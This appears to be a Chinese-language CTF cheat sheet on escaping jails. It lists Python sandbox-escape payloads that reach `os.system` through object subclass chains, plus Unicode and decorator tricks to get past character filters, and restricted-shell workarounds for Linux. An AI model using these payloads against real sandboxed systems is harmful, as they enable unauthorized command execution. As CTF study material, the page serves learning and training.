跳转至

Jail

Pyjail

  • Moejail

  • __import__('os').system('ls')

  • [i.__init__.__globals__['linecache'].__dict__['os'].system('whoami') for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "catch_warnings"]
  • [i for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_wrap_close"][0].__init__.__globals__['system']('cat ./flag')
  • 限制 A-z0-9 => https://lingojam.com/ItalicTextGenerator
  • 限制'"{}[]()_ => @exec\n@input\nclass\tx:\n\tpass
Python
@exec
@input
class x:
    pass

exec("@exec\n@input\nclass\tx:\n\tpass")
# exec("@𝘦𝘹𝘦𝘤\n@𝘪𝘯𝘱𝘶𝘵\n𝘤𝘭𝘢𝘴𝘴\t𝘹:\n\t𝘱𝘢𝘴𝘴")

Linuxjail

常见的形式是给我们一个 ssh 连接方式,进入得到一个受限的 shell,常见的一些等效技巧有:

查看允许直接使用的命令
$ compgen -c
Bash
ls
echo *
printf '%s\n' *
Bash
cd

pushd /tmp # 进入
popd # 退出
Bash
cat

while read line; do echo "$line"; done < filename

评论